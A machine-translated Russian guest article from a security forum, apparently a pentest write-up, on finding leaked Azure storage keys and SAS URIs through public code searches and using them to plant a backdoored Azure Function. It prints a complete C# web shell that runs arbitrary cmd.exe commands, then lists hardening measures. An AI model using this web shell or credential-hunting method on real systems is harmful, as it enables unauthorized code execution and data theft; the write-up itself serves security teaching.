• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Гостевая статья Выявление и использование утечек ключей хранилища Azure

В этом блоге , наш ведущий преподаватель для учебного класса « », расскажет о практическом примере удаленного выполнения кода через хранилище Azure, когда развертывание функции Azure настроено для запуска из учетной записи хранения с использованием параметра приложения WEBSITE_CONTENTSHARE.
  • Доступ к утечке ключа доступа к учетной записи хранения
  • Подключитесь к учетной записи хранения и загрузите BLOB-объекты, файлы и т. Д.
  • Файлы содержат код для функции Azure
  • Создать новый HTTP Trigger с веб-оболочкой
  • Загрузите вредоносный файл в файлы Azure в качестве нового триггера и выполните команды ОС.
Ключи доступа к учетной записи хранения Azure и URI SAS
Учетная запись хранения Azure использует учетные данные, содержащие имя учетной записи и ключ. Ключ генерируется автоматически при создании учетной записи хранения и служит паролем для подключения к хранилищу Azure. Ключи доступа к хранилищу по умолчанию имеют все разрешения и аналогичны корневому паролю вашей учетной записи хранилища.

Учетная запись хранения Azure содержит BLOB-объекты, очереди, таблицы и файлы (общая папка или диск) в качестве типов хранения, к которым можно получить доступ через API.

1.Azure-storage.png


Кроме того, Azure предоставляет URI подписи общего доступа (SAS) для предоставления детального доступа к объектам хранения. SAS URI, можно управлять тем, какие данные выставлять, и какие разрешения наложить на эти объекты (SignedPermission) и как долго действителен SAS URI (SignedExpiry) с другими параметрами, как указано ниже:

2.SAS_.png


https:. // <AccountName> <сервис> .core.windows.net /? sv = 2018-03-28 & ss = bfqt & srt = sco & sp = rwdlacup & se = 2019-09-30T17: 13: 23Z & st = 2019-09-30T09: 13: 23Z & sip = 88.208.222.83 & spr = https & sig = LCoN4d % 2B% 2BZSzPtPO71fMS34k% 2FhLf2Wjen9pzhlAGFfPU% 3D

3.-SAS.png



Более подробная информация:

Поиск ключей доступа и SAS URI
Ключи доступа и SAS URI имеют решающее значение, и их необходимо защищать от несанкционированного раскрытия. Однако есть случаи, когда эта информация доступна в открытых источниках. Мы создали список параметров, которые могут быть полезны для поиска имени учетной записи, ключей и URI SAS.

Строка подключения (имя учетной записи и ключ)



4.-github-search.png


Хороший многосайтовый интерфейс поиска который также может быть полезен для поиска ключей доступа и SAS URI.

5.online-ide-and-paste-1.png


Подпись общего доступа - SAS URI
Github

Build software better, together

6.-SAS-Github.png


Google

. { customdomain } .com% 20inurl: sig

Кроме того, эти данные также можно найти в этих файлах

  • web.config
  • local.settings.json
  • app.config
Рассмотрим следующий SAS URL. Интервал действия подписи (параметр se) задан слишком высоким, и он имеет все доступные привилегии для объекта общего файлового ресурса. Если злоумышленник обнаружил этот URL-адрес, он может прочитать, обновить и удалить все объекты из учетной записи хранения.

?? св = 2017-04-17 & сс = bfqt & SRT = & SCO зр = rwdlacup & й = 2019-09-30T19% 3A43% 3A56Z & SE = 2039-10-01 T19% 3A43% 3A00Z & сиг = WRo1i2cchlfVBCa% 2FfwCqx3i% 2BO64HSjbl% 2F ... ..

Бэкдор Развертывание функции Azure
В одном из наших недавних заданий на этапе оценки OSINT мы определили строку подключения к хранилищу Azure (Azure AccountName и AccountKey) в общедоступном хранилище Github с утечкой подключения к хранилищу Azure в файле local.settings.json, как показано на рисунке ниже:

7.-Leaked-Key.png



Следующим шагом было подтверждение ключей и определение доступа.

Для этого мы использовали обозреватель хранилища Azure ( ) для подключения к учетной записи хранилища с помощью строки подключения.

8.Connect-azure-storage.png


Удивительно, но ключ работал, и он имел доступ к BLOB-объектам, файлам, очередям и таблицам Azure в качестве пользователя root для учетной записи хранения.

9.-Blob-Storage.png



Кроме того, мы исследовали объекты хранения, и каталог File Shares содержал следующую структуру, которая привлекла наше внимание.

  • ASP.NET
  • данные
  • Лог-файлы
  • корень
  • сайт
Мы получили доступ к исходному коду (.csx - CSharp scripts) функций Azure для HTTP и Blob Triggers в каталоге site \ wwwroot, как показано ниже:

10.Functions-deployed.png



Все идет нормально. Давайте рассмотрим дальнейшие возможности.

Давайте загрузим контейнер BLOB (azure-webjobs-secrets) с помощью команды Azure CLI.

11.download-batch.png


Мы обнаружили URL-адрес триггера HTTP в файле «host.json» из контейнера azure-webjobs-secrets. URL-адрес конечной точки HTTP был активен, и мы могли получить к нему доступ, поскольку уровень авторизации был установлен на Anonymous.

12.hosts_.json_.png


Теперь, когда у нас были разрешения на чтение / запись объектов, стало возможным перезаписать существующие функции. Однако, поскольку это был производственный экземпляр, мы решили не перезаписывать и не заменять существующие, а вместо этого мы выбрали неразрушающий подход, загрузив простой HTTP-триггер hello world в подпапку, как показано ниже.

13._HTTP-Trigger-shell-world.png


Удивительно, но недавно загруженная функция была немедленно запущена и запущена.

14.-hello-world-2.png



Это подтвердило, что код и конфигурация функции Azure получены из общего файлового ресурса.

Теперь давайте попробуем выполнить выполнение кода. Чтобы добиться выполнения кода, мы обновили «run.csx» кодом веб-оболочки и загрузили его обратно в HellowWorldTrigger.

Веб-оболочка (run.csx)
Код:
#r "Newtonsoft.Json"

using System.Net;

using Microsoft.AspNetCore.Mvc;

using Microsoft.Extensions.Primitives;

using Newtonsoft.Json;

using System;

using System.IO;

using System.Diagnostics;

 

public static async Task<IActionResult> Run(HttpRequest req, ILogger log)

{

    log.LogInformation("C# HTTP trigger function processed a request.");

 

string cmd = req.Query["cmd"];

 

string requestBody = await new StreamReader(req.Body).ReadToEndAsync();

dynamic data = JsonConvert.DeserializeObject(requestBody);

cmd = cmd ?? data?.cmd;

 

return cmd != null

     ? (ActionResult)new OkObjectResult(ExcuteCmd(cmd))

     : new BadRequestObjectResult("Please pass a name on the query string or in the request body");

}

 

public static string ExcuteCmd(string arg)

{

ProcessStartInfo psi = new ProcessStartInfo();

psi.FileName = "cmd.exe";

psi.Arguments = "/c " + arg;

    psi.RedirectStandardOutput = true;

psi.UseShellExecute = false;

Process p = Process.Start(psi);

StreamReader stmrdr = p.StandardOutput;

string s = stmrdr.ReadToEnd();

stmrdr.Close();

return s;

}

Теперь мы можем получить доступ к веб-оболочке и выполнить произвольные команды в контейнере Azure.

15.web-shell-dir.png



Таким образом, используя простые общедоступные сведения, мы смогли добиться выполнения кода в среде функции Azure. Как только мы изучим потенциал ущерба, давайте посмотрим, как мы можем защитить себя от таких сценариев.

Обеспечение доступа к учетным записям хранения
  • Регенерация ключей учетной записи хранения на регулярной основе.
  • Подписи общего доступа и политики хранимого доступа для защиты ваших данных.
  • Предоставьте доступ к контейнерам и BLOB-объектам для более детального контроля доступа к вашим BLOB-объектам через подпись общего доступа (SAS).
  • Ограничить доступ к определенному IP-адресу (или диапазону IP-адресов)
  • Прикрепить срок действия к SAS URI
Подробнее:

Источник:
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!